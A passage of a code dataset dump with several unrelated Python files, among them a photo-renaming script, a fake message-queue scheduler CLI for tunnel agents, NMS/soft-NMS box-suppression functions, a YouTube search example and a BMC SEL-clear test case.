rinomino\t\t\n file_to_rename = folder +\"/\" + dir + \"/\" + subdir + \"/\" + filename\n new_name = folder + \"/\" + dir + \"/\" + subdir + \"/\" + dir + \"_\" + name + \"_\" + str(n) + \"_\" + subdir + \"prova.JPG\"\n os.rename(file_to_rename, new_name)\n\n# 2)\ndef movePhotoByFolder(folder):\n print(\"____________________________________MOVING___________________________________\") \n # scorro cartelle \"lettera\"\n for dir in os.listdir(folder):\t\n print(\"dir: \", dir)\n n = 0\n # scorro cartelle front, left, ...\n for subdir in os.listdir(folder+\"/\"+dir):\n print(\"subdir: \", subdir)\n # scorro file in front, left, ...\n for filename in os.listdir(folder+\"/\"+dir+\"/\"+subdir):\n print(\"filename:\", filename)\n n = n + 1\t\t\n # sposto file nella cartella superiore\t\t\t\n file_to_rename = folder +\"/\" + dir + \"/\" + subdir + \"/\" + filename\n new_name = folder + \"/\" + dir + \"/\" + filename\n os.rename(file_to_rename, new_name)\t\t\t\n # elimino cartella front, left, ecc\n shutil.rmtree(folder+\"/\"+dir+\"/\"+subdir)\t\t\t\n\n# 3)\ndef resize(folder, to_folder):\n print(\"____________________________________RESIZING___________________________________\") \n images = []\n c = 0\n # scorro cartella \"lettera\"\n for dir in os.listdir(folder):\t\n print(\"dir: \", dir)\n # scorro file immagine \n for filename in os.listdir(folder+\"/\"+dir):\n c = c + 1\n print(\"rimangono: \", len(os.listdir(folder)) - c)\n print(\"filename:\", filename)\n #apro img\n image = cv2.imread(folder + \"/\" + dir + \"/\" + filename) \n #resizing\n image = cv2.resize(image, (64,64))\n #salvo\n print(\"save to: \", to_folder + \"/\" + dir + '/' + filename )\n cv2.imwrite(to_folder + \"/\" + dir + '/' + filename , image)\n image = [] \n\n\n# 1)\nrename(INITIAL_FOLDER, NAME)\n# 2)\nmovePhotoByFolder(INITIAL_FOLDER)\n# 3)\nresize(INITIAL_FOLDER, FINAL_FOLDER)","sub_path":"cropping_scripts/organizePhotoFINAL.py","file_name":"organizePhotoFINAL.py","file_ext":"py","file_size_in_byte":3215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"147061728","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.6 (3379)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/firethorn/models/resource.py\n# Compiled at: 2019-02-10 20:15:10\n# Size of source mod 2**32: 2495 bytes\nimport logging\nfrom models.query import Query\nimport urllib, json\nfrom models.adql import adql_resource\nfrom models.schema import Schema\n\nclass Resource(object):\n __doc__ = '\\n Resource client class\\n \\n Attributes\\n ----------\\n \\n adql_resource: AdqlResource, optional\\n The AdqlResource behind the Resource object\\n \\n url: String, optional\\n A String representing the URL of the resource\\n \\n\\n '\n\n def __init__(self, adql_resource=None, url=None):\n self.url = url\n self._Resource__adql_resource = adql_resource\n\n def add_schema(self, schema=None, schema_name=None):\n \"\"\"\n Add a Schema into the resource\n \"\"\"\n if schema == None:\n schema = self._Resource__adql_resource.select_schema_by_name(schema_name)\n else:\n schema = schema._get_adql_schema()\n self._Resource__adql_resource.import_adql_schema(schema, schema_name)\n\n def get_schema_by_name(self, schema_name=None):\n \"\"\"\n Get a copy of the schema by name\n \"\"\"\n adql_schema = self._Resource__adql_resource.select_schema_by_name(schema_name)\n return Schema(adql_schema=adql_schema)\n\n def query(self, query='', mode='SYNC'):\n \"\"\" \n Run a query on the imported resources\n \n Parameters\n ----------\n query : str, required\n The query string\n \n Returns\n -------\n query : `Query`\n The created Query\n \"\"\"\n adql_query = self._Resource__adql_resource.create_query(query)\n return Query(adql_query=adql_query, mode=mode)\n\n def get_schemas(self):\n \"\"\"Get list of schemas in a resource\n \"\"\"\n schemas = []\n try:\n adql_schemas = self._Resource__adql_resource.select_schemas()\n for adql_schema in adql_schemas:\n schemas.append(Schema(adql_schema=adql_schema))\n\n except Exception as e:\n logging.exception(e)\n\n return schemas\n\n def get_schema_names(self):\n \"\"\"Get list of schemas in a resource\n \"\"\"\n schemas = []\n try:\n adql_schemas = self._Resource__adql_resource.select_schemas()\n schemas = [adql_schema.name() for adql_schema in adql_schemas]\n except Exception as e:\n logging.exception(e)\n\n return schemas","sub_path":"pycfiles/firethorn-0.1.1-py3.6/resource.cpython-36.py","file_name":"resource.cpython-36.py","file_ext":"py","file_size_in_byte":2711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"389097151","text":"#!/usr/bin/env python\n\nimport os\nimport sys\nimport inspect\nimport readline\nfrom pprint import pprint\n\nfrom simplejson import dumps, loads\n\nfrom naas.agent import rpc\nfrom naas.agent.common.utils import get_hostname\n\ndef print_boundary():\n print('-' * 80)\n\ndef print_boundary_1():\n print('=' * 40)\n\nclass TunnelPoint(object):\n\n def __init__(self,\n bridge_name,\n vlanid,\n vni,\n local_ip,\n remote_ip,\n bandwidth):\n self.bridge_name = bridge_name\n self.vlanid = vlanid\n self.new_vlanid = vlanid\n self.tunnel_id = vni\n self.vni = vni\n self.local_ip = local_ip\n self.remote_ip = remote_ip\n self.bandwidth = bandwidth\n self.bridge_state = 'NOT_EXIST'\n self.vxlan_state = 'NOT_EXIST'\n self.vlan_state = 'NOT_EXIST'\n\n def to_dict(self):\n return {\n 'bridge_name': self.bridge_name,\n 'vlanid': self.vlanid,\n 'tunnel_port': {\n 'tunnel_id': self.tunnel_id,\n 'role': 'master',\n 'vni': self.vni,\n 'local_ip': self.local_ip,\n 'remote_ip': self.remote_ip,\n 'bandwidth': self.bandwidth\n }\n }\n\n def ls(self):\n return 'tunnel_id: {}, ' \\\n 'bridge: <{}: {}> ' \\\n 'vlanid: <{}: {}>, ' \\\n 'vni: <{}: {}>'.format(self.tunnel_id,\n self.bridge_name, self.bridge_state,\n self.vlanid, self.vlan_state,\n self.vni, self.vxlan_state)\n\n def access_port_create(self):\n return {\n \"method\": \"access_port_create\",\n \"sub_task_id\": 1,\n \"body\": {\n \"bridge_name\": self.bridge_name,\n \"vlanid\": self.vlanid,\n }\n }\n\n def access_port_change(self):\n return {\n \"method\": \"access_port_create\",\n \"sub_task_id\": 100,\n \"body\": {\n \"bridge_name\": self.bridge_name,\n \"vlanid_old\": self.vlanid,\n \"vlanid\": self.new_vlanid,\n }\n }\n\n def access_port_destroy(self):\n return {\n \"method\": \"access_port_destroy\",\n \"sub_task_id\": 2,\n \"body\": {\n \"bridge_name\": self.bridge_name,\n }\n }\n\n def access_port_up(self):\n return {\n \"method\": \"access_port_up\",\n \"sub_task_id\": 3,\n \"body\": {\n \"bridge_name\": self.bridge_name,\n }\n }\n\n def access_port_down(self):\n return {\n \"method\": \"access_port_down\",\n \"sub_task_id\": 4,\n \"body\": {\n \"bridge_name\": self.bridge_name,\n }\n }\n\n def tunnel_port_create(self):\n return {\n \"method\": \"tunnel_port_create\",\n \"sub_task_id\": 5,\n \"body\": {\n \"bridge_name\": self.bridge_name,\n \"tunnel_port\": {\n \"tunnel_id\": self.tunnel_id,\n \"vni\": self.vni,\n \"local_ip\": self.local_ip,\n \"remote_ip\": self.remote_ip,\n \"bandwidth\": self.bandwidth\n }\n }\n }\n\n def tunnel_port_destroy(self):\n return {\n \"method\": \"tunnel_port_destroy\",\n \"sub_task_id\": 6,\n \"body\": {\n \"bridge_name\": self.bridge_name,\n \"tunnel_port\": {\n \"tunnel_id\": self.tunnel_id,\n \"vni\": self.vni,\n }\n }\n }\n\n def tunnel_port_up(self):\n return {\n \"method\": \"tunnel_port_up\",\n \"sub_task_id\": 7,\n \"body\": {\n \"bridge_name\": self.bridge_name,\n \"tunnel_port\": {\n \"tunnel_id\": self.tunnel_id,\n \"vni\": self.vni,\n }\n }\n }\n\n def tunnel_port_down(self):\n return {\n \"method\": \"tunnel_port_down\",\n \"sub_task_id\": 8,\n \"body\": {\n \"bridge_name\": self.bridge_name,\n \"tunnel_port\": {\n \"tunnel_id\": self.tunnel_id,\n \"vni\": self.vni,\n }\n }\n }\n\n def tunnel_port_set_bandwidth(self):\n return {\n \"method\": \"tunnel_port_set_bandwidth\",\n \"sub_task_id\": 9,\n \"body\": {\n \"bridge_name\": self.bridge_name,\n \"tunnel_port\": {\n \"tunnel_id\": self.tunnel_id,\n \"vni\": self.vni,\n \"bandwidth\": self.bandwidth\n }\n }\n }\n\nclass Agent(object):\n\n def __init__(self, code):\n self.code = code\n self.tunnel_points = {}\n\n def get_tunnel_point(self, tunnel_id):\n return self.tunnel_points.get(tunnel_id, None)\n\n def add_tunnel_point(self, tunnel_point):\n self.tunnel_points[tunnel_point.tunnel_id] = tunnel_point\n\n def del_tunnel_point(self, tunnel_id):\n del self.tunnel_points[tunnel_id]\n\n def to_dict(self):\n context = {\n \"method\": \"init_tunnel_points\",\n \"sub_task_id\": 17,\n \"body\": {\n \"tunnel_points\": []\n }\n }\n for tunnel_point in self.tunnel_points.values():\n context['body']['tunnel_points'].append(tunnel_point.to_dict())\n return context\n\n def ls(self):\n print('agent: {}'.format(self.code))\n for tunnel_point in self.tunnel_points.values():\n print('\\t{}'.format(tunnel_point.ls()))\n print('')\n\nclass SchedulerManager(object):\n\n def __init__(self):\n super(SchedulerManager, self).__init__()\n self.agents = {}\n\n def __call__(self, body, message):\n message.ack()\n try:\n dict_body = loads(body)\n print('receive: {}'.format(dict_body))\n method = dict_body.get('method', None)\n if method:\n func = getattr(self, method)\n func(dict_body)\n else:\n self.response_process(dict_body)\n except Exception as e:\n print(e)\n\n def _get_agent(self, agent_code):\n return self.agents.get(agent_code, None)\n\n def response_process(self, kwargs):\n try:\n print('sub_task_id: {}, '\n 'result: {}, '\n 'msg: {}'.format(kwargs['sub_task_id'],\n kwargs['result'],\n kwargs['msg']))\n except:\n print('Unknown msg: {}'.format(kwargs))\n\n def state_report(self, kwargs):\n agent_code = kwargs['code']\n tunnel_points = kwargs['tunnel_points']\n agent = self._get_agent(agent_code)\n if not agent:\n agent = Agent(agent_code)\n self.agents[agent_code] = agent\n for tunnel_point in tunnel_points:\n tunnel_ports = tunnel_point['tunnel_ports']\n for tunnel_port in tunnel_ports:\n tunnel_id = tunnel_port['vni']\n agent_tunnel_point = agent.get_tunnel_point(tunnel_id)\n if not agent_tunnel_point:\n agent_tunnel_point = TunnelPoint(\n bridge_name=tunnel_point['bridge']['bridge_name'],\n vlanid=int(tunnel_point['access_port']['vlanid']),\n vni=int(tunnel_port['vni']),\n local_ip=\"192.168.99.1\",\n remote_ip=\"192.168.99.2\",\n bandwidth=20)\n agent.add_tunnel_point(agent_tunnel_point)\n agent_tunnel_point.bridge_state = tunnel_point['bridge']['state']\n agent_tunnel_point.vxlan_state = tunnel_port['state']\n agent_tunnel_point.vlan_state = tunnel_point['access_port']['state']\n\n for tunnel_id in agent.tunnel_points.keys():\n for tunnel_point in tunnel_points:\n tunnel_port_ids = [tunnel_port['vni'] for tunnel_port in tunnel_point['tunnel_ports']]\n if tunnel_id not in tunnel_port_ids:\n agent.del_tunnel_point(tunnel_id)\n if len(tunnel_points) == 0:\n agent.del_tunnel_point(tunnel_id)\n\n def get_agent_tunnel_points(self, kwargs):\n agent_code = kwargs['code']\n agent = self._get_agent(agent_code)\n if agent:\n rpc.cast(message=dumps(agent.to_dict()),\n exchange_name='agent_scheduler_exchange',\n routing_key=agent_code)\n else:\n agent = Agent(agent_code)\n rpc.cast(message=dumps(agent.to_dict()),\n exchange_name='agent_scheduler_exchange',\n routing_key=agent_code)\n\n def ls(self):\n for agent in self.agents.values():\n agent.ls()\n\n def is_has_agent(self, agent_code):\n return True if self._get_agent(agent_code) else False\n\n def update(self, agent_code, method, tunnel_point):\n agent = self._get_agent(agent_code)\n if agent:\n func = getattr(agent, method, None)\n if func:\n func(tunnel_point)\n else:\n print('Agent has no method: {}'.format(method))\n else:\n print('agent {} not exist!'.format(agent_code))\n\n\nclass Command(object):\n\n def __init__(self, target=None):\n super(Command, self).__init__()\n self.manager = SchedulerManager()\n self.target = target or 'localhost'\n self.tunnel_point = TunnelPoint(bridge_name=\"bridge-7s48e0fd\",\n vlanid=12,\n vni=5000,\n local_ip=\"192.168.99.1\",\n remote_ip=\"192.168.99.2\",\n bandwidth=20)\n self.current_agent = None\n # init rpc fake server\n self._init_scheduler()\n self._init_report_scheduler()\n self.info()\n\n def _init_scheduler(self):\n server = rpc.MessageHandingServer(routing_key='agent_scheduler_routing_key',\n manager=self.manager,\n target=self.target,\n exchange_name='agent_scheduler_exchange')\n server.start()\n server.wait()\n\n def _init_report_scheduler(self):\n server = rpc.MessageHandingServer(routing_key='agent_scheduler_report_routing_key',\n manager=self.manager,\n target=self.target,\n exchange_name='agent_scheduler_report_exchange')\n server.start()\n server.wait()\n\n def _send_msg(self, msg):\n if self.current_agent:\n try:\n rpc.cast(dumps(msg),\n exchange_name='agent_scheduler_exchange',\n routing_key=self.current_agent)\n except Exception as e:\n print(e)\n else:\n print('please select agent first!')\n\n def _get_prefix(self):\n return self.current_agent\n\n def info(self, method=None, args=None):\n '''show current system info'''\n print_boundary_1()\n print('scheduler v1.0')\n print('rabbitmq target: {}'.format(self.target))\n print_boundary_1()\n\n def help(self, method=None, args=None):\n '''list commands'''\n print_boundary()\n #commands = [cmd for cmd in dir(self) if not cmd.startswith('_')]\n base_commands = ['help', 'info', 'clear', 'exit']\n buffer_commands = ['show', 'set_bridge_name', 'set_access_port', 'set_new_vlanid', 'set_tunnel_port']\n agent_commands = ['ls', 'select',\n 'access_port_create','access_port_change', 'access_port_destroy',\n 'access_port_up','access_port_down',\n 'tunnel_port_create', 'tunnel_port_destroy', 'tunnel_port_up', 'tunnel_port_down',\n 'tunnel_port_set_bandwidth',\n 'point_create', 'point_destroy',\n 'init_tunnel_points']\n def print_comand_help_info(method):\n member = getattr(self, method, None)\n if inspect.ismethod(member):\n print(' - {:<25} : {}'.format(member.__name__, member.__doc__))\n print('Base-Commands:')\n for cmd in base_commands:\n print_comand_help_info(cmd)\n print('')\n print('Buffer-Commands:')\n for cmd in buffer_commands:\n print_comand_help_info(cmd)\n print('')\n print('Agent-Commands:')\n for cmd in agent_commands:\n print_comand_help_info(cmd)\n print_boundary()\n\n def clear(self, method=None, args=None):\n '''clear screem'''\n os.system('clear')\n\n def ls(self, method=None, args=None):\n '''list agents info'''\n self.manager.ls()\n\n def exit(self, method=None, args=None):\n '''exit'''\n sys.exit(0)\n\n def select(self, method=None, args=None):\n '''select operate agent, use 'ls' list agents'''\n if len(args) == 0:\n self.current_agent = None\n else:\n agent_code = args[0]\n if self.manager.is_has_agent(agent_code):\n self.current_agent = agent_code\n else:\n print('agent {} not exist!'.format(agent_code))\n\n def show(self, method=None, args=None):\n '''buffer tunnel point: show info'''\n pprint(self.tunnel_point.to_dict())\n\n def set_tunnel_port(self, method=None, args=None):\n '''buffer tunnel point: set_tunnel_port '''\n if len(args) < 4:\n print('usage: set_tunnel_port ')\n else:\n try:\n vni = int(args[0])\n local_ip = args[1]\n remote_ip = args[2]\n bandwidth = int(args[3])\n self.tunnel_point.vni = vni\n self.tunnel_point.local_ip = local_ip\n self.tunnel_point.remote_ip = remote_ip\n self.tunnel_point.bandwidth = bandwidth\n except Exception as e:\n print(e)\n\n def set_access_port(self, method=None, args=None):\n '''buffer tunnel point: set_access_port '''\n if len(args) < 1:\n print('useage: set_access_port ')\n else:\n try:\n vlanid = int(args[0])\n self.tunnel_point.vlanid = vlanid\n except Exception as e:\n print(e)\n\n def set_new_vlanid(self, method=None, args=None):\n '''buffer tunnel point: set_new_vlanid '''\n if len(args) < 1:\n print('useage: set_new_vlanid ')\n else:\n try:\n new_vlanid = int(args[0])\n self.tunnel_point.new_vlanid = new_vlanid\n except Exception as e:\n print(e)\n\n def set_bridge_name(self, method=None, args=None):\n '''buffer tunnel point: set_bridge_name '''\n if len(args) < 1:\n print('useage: set_bridge_name ')\n else:\n try:\n bridge_name = args[0]\n self.tunnel_point.bridge_name = bridge_name\n except Exception as e:\n print(e)\n\n def point_create(self, method=None, args=None):\n '''Auto create bridge/access_port/tunnel_port'''\n self.access_port_create('access_port_create', args)\n self.tunnel_port_create('tunnel_port_create', args)\n self.tunnel_port_up('tunnel_port_up', args)\n self.tunnel_port_set_bandwidth('tunnel_port_set_bandwidth', args)\n\n def point_destroy(self, method=None, args=None):\n '''Auto destroy bridge/access_port/tunnel_port'''\n self.tunnel_port_down('tunnel_port_down', args)\n self.tunnel_port_destroy('tunnel_port_destroy', args)\n self.access_port_destroy('access_port_destroy', args)\n\n def _common_process(self, method=None, args=None):\n if not method:\n print('method is None, when call _common_process!')\n return\n\n get_msg_func = getattr(self.tunnel_point, method, None)\n if get_msg_func:\n msg = get_msg_func()\n if len(args) > 1 and args[0] == 'show':\n pprint(msg)\n else:\n self._send_msg(msg)\n else:\n print('TunnelPoint has no method: {}'.format(method))\n\n def init_tunnel_points(self, method=None, args=None):\n '''simulation send init agent info'''\n agent = Agent(self.current_agent)\n agent.add_tunnel_point(self.tunnel_point)\n show = False\n if not self.current_agent:\n show = True\n else:\n if len(args) > 1 and args[0] == 'show':\n show = True\n if not show:\n self._send_msg(agent.to_dict())\n else:\n pprint(agent.to_dict())\n\n def access_port_create(self, method=None, args=None):\n '''send cmd: access_port_create'''\n self._common_process(method=method, args=args)\n\n def access_port_change(self, method=None, args=None):\n '''send cmd: access_port_change'''\n self._common_process(method=method, args=args)\n\n def access_port_destroy(self, method=None, args=None):\n '''send cmd: access_port_destroy'''\n self._common_process(method=method, args=args)\n\n def access_port_up(self, method=None, args=None):\n '''send cmd: access_port_up'''\n self._common_process(method=method, args=args)\n\n def access_port_down(self, method=None, args=None):\n '''send cmd: access_port_down'''\n self._common_process(method=method, args=args)\n\n def tunnel_port_create(self, method=None, args=None):\n '''send cmd: tunnel_port_create'''\n self._common_process(method=method, args=args)\n\n def tunnel_port_destroy(self, method=None, args=None):\n '''send cmd: tunnel_port_destroy'''\n self._common_process(method=method, args=args)\n\n def tunnel_port_up(self, method=None, args=None):\n '''send cmd: tunnel_port_up'''\n self._common_process(method=method, args=args)\n\n def tunnel_port_down(self, method=None, args=None):\n '''send cmd: tunnel_port_down'''\n self._common_process(method=method, args=args)\n\n def tunnel_port_set_bandwidth(self, method=None, args=None):\n '''send cmd: tunnel_port_set_bandwidth'''\n self._common_process(method=method, args=args)\n\nclass Dispatcher(object):\n\n def __init__(self, executor):\n super(Dispatcher, self).__init__()\n self.executor = executor\n\n def _dispatcher(self, cmds):\n method = cmds[0]\n args = cmds[1:] if len(cmds) > 1 else []\n func = getattr(self.executor, method, None)\n if func:\n func(method, args)\n else:\n print('no this command!')\n\n def loop(self):\n readline.parse_and_bind('tab: complete')\n readline.parse_and_bind('set editing-mode vi')\n\n while True:\n prompt = self.executor._get_prefix()\n if prompt:\n prompt = '[{}]> '.format(prompt)\n else:\n prompt = '> '\n line = raw_input(prompt)\n if len(line) <= 0:\n continue\n cmds = line.split(' ')\n self._dispatcher(cmds)\n\ndef main(target=None):\n Dispatcher(Command(target=target)).loop()\n\nif __name__ == '__main__':\n target = None\n if len(sys.argv) > 1:\n target = sys.argv[1]\n else:\n target = 'localhost'\n print('Usage: {} '.format(sys.argv[0]))\n print('Now use default target: {}\\n'.format(target))\n main(target)\n\n","sub_path":"naas/tests/agent/fake_scheduler.py","file_name":"fake_scheduler.py","file_ext":"py","file_size_in_byte":20261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"600233479","text":"# coding:utf-8\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as patches\n\n\ndef nms(bbox, overlap, top_k=200):\n '''\n 计算nms\n :param bbox: array()\n :param overlap: float\n :param top_k: 先选取bbox中得分最高的top_k个\n :return: nms之后的bbox: array()\n '''\n if len(bbox) == 0:\n pick = []\n else:\n x1 = bbox[:, 0]\n y1 = bbox[:, 1]\n x2 = bbox[:, 2]\n y2 = bbox[:, 3]\n score = bbox[:, 4]\n area = (x2 - x1) * (y2 - y1)\n ind = np.argsort(score)\n ind = ind[-top_k:]\n pick = []\n while len(ind) > 0:\n last = len(ind) - 1\n i = ind[last]\n pick.append(i)\n suppress = [last]\n for pos in range(last):\n j = ind[pos]\n xx1 = np.maximum(x1[i], x1[j])\n yy1 = np.maximum(y1[i], y1[j])\n xx2 = np.minimum(x2[i], y2[j])\n yy2 = np.minimum(y2[i], y2[j])\n w = xx2 - xx1\n h = yy2 - yy1\n if w > 0 and h > 0:\n ol = w * h / area[i] # 这里有的是使用iou的计算方式,有的不是使用iou,而是:并集/最大得分的面积,这里使用的就不是iou的计算方式\n if ol > overlap:\n suppress.append(pos)\n ind = np.delete(ind, suppress)\n return bbox[pick, :]\n\n\ndef soft_nms(bbox, overlap, threshold=0.3, method='linear', top_k=200):\n '''\n 计算soft-nms的方法\n :param bbox: array()\n :param overlap: float,和nms的含义一样\n :param threshold: float, 将权重处理之后,将小于此阈值的踢掉\n :param method: string, soft-nms的线性和高斯方法\n :param top_k: 先选取bbox中得分最高的top_k个\n :return: nms之后的bbox: array()\n '''\n if len(bbox) == 0:\n pick = []\n else:\n x1 = bbox[:, 0]\n y1 = bbox[:, 1]\n x2 = bbox[:, 2]\n y2 = bbox[:, 3]\n score = bbox[:, 4]\n area = (x2 - x1) * (y2 - y1)\n ind = np.argsort(score)\n ind = ind[-top_k:]\n pick = []\n while len(ind) > 0:\n last = len(ind) - 1\n i = ind[last]\n pick.append(i)\n suppress = [last]\n for pos in range(last):\n j = ind[pos]\n xx1 = np.maximum(x1[i], x1[j])\n yy1 = np.maximum(y1[i], y1[j])\n xx2 = np.minimum(x2[i], y2[j])\n yy2 = np.minimum(y2[i], y2[j])\n w = xx2 - xx1\n h = yy2 - yy1\n if w > 0 and h > 0:\n ov = w * h / area[i]\n if method == 'linear':\n if ov > overlap:\n weight = 1 - ov\n else:\n weight = ov\n elif method == 'gaussian':\n weight = np.exp(-(ov * ov) / 0.5) # 0.5表示的是高斯函数中的sigma,默认取0.5\n else:\n if ov > overlap:\n weight = 0\n else:\n weight = 1\n score[j] = weight * score[j]\n if score[j] < threshold:\n suppress.append(pos)\n ind = np.delete(ind, suppress)\n return bbox[pick, :]\n\n\nif __name__ == '__main__':\n bbox = np.array([[200, 200, 400, 400, 0.99],\n [220, 220, 420, 420, 0.9],\n [100, 100, 150, 150, 0.82],\n [200, 240, 400, 440, 0.5],\n [150, 250, 300, 400, 0.88]])\n overlap = 0.7\n # pick=nms(bbox,overlap)\n pick = soft_nms(bbox, overlap)\n fig = plt.figure()\n ax = fig.add_subplot(1, 1, 1, aspect='equal')\n bbox = bbox / 500\n pick = pick / 500\n for i in range(bbox.shape[0]):\n rect1 = patches.Rectangle(xy=(bbox[i, 0], bbox[i, 1]), width=bbox[i, 2] - bbox[i, 0],\n height=bbox[i, 3] - bbox[i, 1], edgecolor='r', linewidth=1, fill=False)\n plt.text(x=bbox[i, 0], y=bbox[i, 1], s='%s' % i, color='b')\n ax.add_patch(rect1)\n for i in range(pick.shape[0]):\n rect2 = patches.Rectangle(xy=(pick[i, 0], pick[i, 1]), width=pick[i, 2] - pick[i, 0],\n height=pick[i, 3] - pick[i, 1], edgecolor='b', linewidth=3, fill=False)\n plt.text(x=pick[i, 0], y=pick[i, 1], s='%s' % i, color='r', fontsize=20)\n ax.add_patch(rect2)\n plt.show()\n","sub_path":"nms.py","file_name":"nms.py","file_ext":"py","file_size_in_byte":4588,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"652215349","text":"# YouTubeの動画を検索する\n\nimport os\nfrom googleapiclient.discovery import build\n\n# 環境変数からAPIキーを取得\nYOUTUBE_API_KEY = os.environ['YOUTUBE_API_KEY']\n\n# YouTubeのAPIクライアントを組み立てる。build()関数の第一引数にはAPI名を、\n# 第二引数にはAPIのバージョンを指定し、キーワード引数developerKeyでAPIキーを指定する\n# この関数は、内部的にhttps://www.googleapis.com/discovery/v1/apis/youtube/v3/rest という\n# URLにアクセスし、APIのリソースやメソッドの情報を取得する。\nyoutube = build('youtube', 'v3', developerKey=YOUTUBE_API_KEY)\n\n# キーワード引数で引数を指定し、search.listメソッドを呼び出す。\n# list()メソッドでgoogleapiclient.http.HttpRequestオブジェクトが得られ、\n# execute()メソッドを実行すると実際にHTTPリクエストが送られて、APIのレスポンスが得られる。\nsearch_response = youtube.search().list(\n part='snippet',\n q='玉置浩二',\n type='video'\n).execute()\n\n# search_responseはAPIのレスポンスのJSONをパースしたdict。\nfor item in search_response['items']:\n print('\\ntitle: ' + item['snippet']['title'] +\n '\\ndiscription: ' + item['snippet']['description'])\n","sub_path":"chapter_5/7.search_youtube_videos.py","file_name":"7.search_youtube_videos.py","file_ext":"py","file_size_in_byte":1293,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"529647742","text":"from case.CBaseCase import *\n\nclass T5238_bmc_SELClearLogic(CBaseCase):\n '''\n [Purpose ]: This origin from OPT#472440: Made change in SEL \n handling to only log the SEL Cleared event when the \"Clear SEL\" \n command is issued. If deleting the last SEL entry with the \n \"Delete SEL Entry\" command is done, no event will be logged.\n [Author ]: Bruce.Yang@emc.com\n [Sprint ]: 2.0.10\n [Tickets ]: ATOM-2670\n [Platform]: All\n [Type ]: Auto\n '''\n def __init__(self):\n CBaseCase.__init__(self, self.__class__.__name__)\n \n def config(self):\n self._sp = self.enclosure.sp\n self._ipmi = self._sp.obj_ipmi\n \n def test(self):\n\n self.log('INFO', 'Stop dump and clear SEL.')\n self._stop_dump_and_clear_sel()\n \n self.log('INFO', 'Write five SEL entries')\n for i in range(5):\n self._write_one_sel()\n \n self.log('INFO', 'Clear SEL by delete entry one by one')\n int_retry = 0\n while not self._is_sel_empty():\n self._delete_one_sel()\n int_retry += 1\n if int_retry >= 511:\n self.result(FAIL, 'SEL still not empty after deleted 511 entries')\n break\n \n time.sleep(1)\n if self._is_sel_cleared_event_found():\n self.result(FAIL, '\"SEL cleared\" event found when delete SEL one by one, unexpected')\n \n self.log('INFO', 'Write five SEL entries')\n for i in range(5):\n self._write_one_sel()\n\n self._clear_sel()\n \n time.sleep(1)\n if not self._is_sel_cleared_event_found():\n self.result(FAIL, '\"SEL cleared\" event not found when delete SEL one by one, unexpected')\n \n def _stop_dump_and_clear_sel(self):\n self.obj_sellogger.b_dump_flag_from_external = True\n self.obj_sellogger.event_trigger_dump.wait(180)\n self.obj_sellogger.event_trigger_dump.clear()\n self._sp.sel.stop_dump_clear_sel()\n \n def _write_one_sel(self):\n self.log('INFO', 'Write one SEL entry')\n list_sel_header = [0xff, 0x20, 0x04, 0xc4, 0x44, 0x6f, 0x07, 0xff, 0xff, 0x01, 0x01, 0x00]\n self._sp.write_extended_sel_header(list_sel_header)\n \n def _delete_one_sel(self):\n self.log('INFO', 'Delete one SEL entry')\n self._sp.sel.delete_sel_entry(0xff, 0xff)\n \n def _clear_sel(self):\n self._ipmi.clear_sel()\n now = time.clock()\n while time.clock() - now <= 10:\n if self._ipmi.is_sel_cleared():\n self.log('INFO', 'SEL clear action completed')\n return\n raise Exception('FAIL', 'Failed to complete SEL clear action in 10 second')\n \n def _is_sel_empty(self):\n self.log('INFO', 'Check if SEL is empty')\n if self._ipmi.get_sel_number() == 0:\n self.log('INFO', 'SEL is empty')\n return True\n self.log('INFO', 'SEL is not empty')\n return False\n \n def _is_sel_cleared_event_found(self):\n self.log('INFO', 'Check if the \"SEL cleared\" is there')\n list_sel_expected = [0x20, 0x00, 0x04, 0x10, 0xF2, 0x6F, 0x02, 0xFF, 0xFF]\n int_sel_count = self._ipmi.get_sel_number()\n for i in range(int_sel_count):\n list_sel_info = self._ipmi.get_sel_entry(i)\n if list_sel_expected == list_sel_info[7:]:\n self.log('INFO', '\"SEL cleared\" is found in SEL')\n return True\n self.log('INFO', 'No \"SEL cleared\" info found')\n return False\n","sub_path":"case/regression/bmc/T5238_bmc_SELClearLogic.py","file_name":"T5238_bmc_SELClearLogic.py","file_ext":"py","file_size_in_byte":3583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"465063209","text":"'''\n\ntest_shub.py: Singularity Hub testing functions for Singularity in Python\n\nCopyright (c) 2016, Vanessa Sochat. All rights reserved. \n\n\"Singularity\" Copyright (c) 2016, The Regents of the University of California,\nthrough Lawrence Berkeley National Laboratory (subject to receipt of any\nrequired approvals from the U.S. Dept. of Energy). All rights reserved.\n \nThis software is licensed under a customized 3-clause BSD license. Please\nconsult LICENSE file distributed with the sources of this project regarding\nyour rights to use or distribute this software.\n \nNOTICE. This Software was developed under funding from the U.S. Department of\nEnergy and the U.S. Government consequently retains certain rights. As such,\nthe U.S. Government has been granted for itself and others acting on its\nbehalf a paid-up, nonexclusive, irrevocable, worldwide license in the Software\nto reproduce, distribute copies to the public, prepare derivative works, and\nperform publicly and display publicly, and to permit other to do so. \n\n'''\n\nimport os\nimport sys\nsys.path.append('..') # directory with singularity, etc.\n\nfrom unittest import TestCase\nfrom utils import read_file\nimport shutil\nimport tempfile\n\nVERSION = sys.version_info[0]\n\nprint(\"*** PYTHON VERSION %s CLIENT TESTING START ***\" %(VERSION))\n\nclass TestApi(TestCase):\n\n\n def setUp(self):\n self.image_id = 8\n self.tmpdir = tempfile.mkdtemp()\n print(\"\\n---START----------------------------------------\")\n\n def tearDown(self):\n shutil.rmtree(self.tmpdir)\n\n print(\"---END------------------------------------------\")\n\n\n def test_get_manifest(self):\n '''test_get_manifest should return the shub manifest\n '''\n from shub.api import get_manifest\n print(\"Case 1: Testing retrieval of singularity-hub manifest\")\n manifest = get_manifest(self.image_id)\n keys = ['files', 'name', 'image', 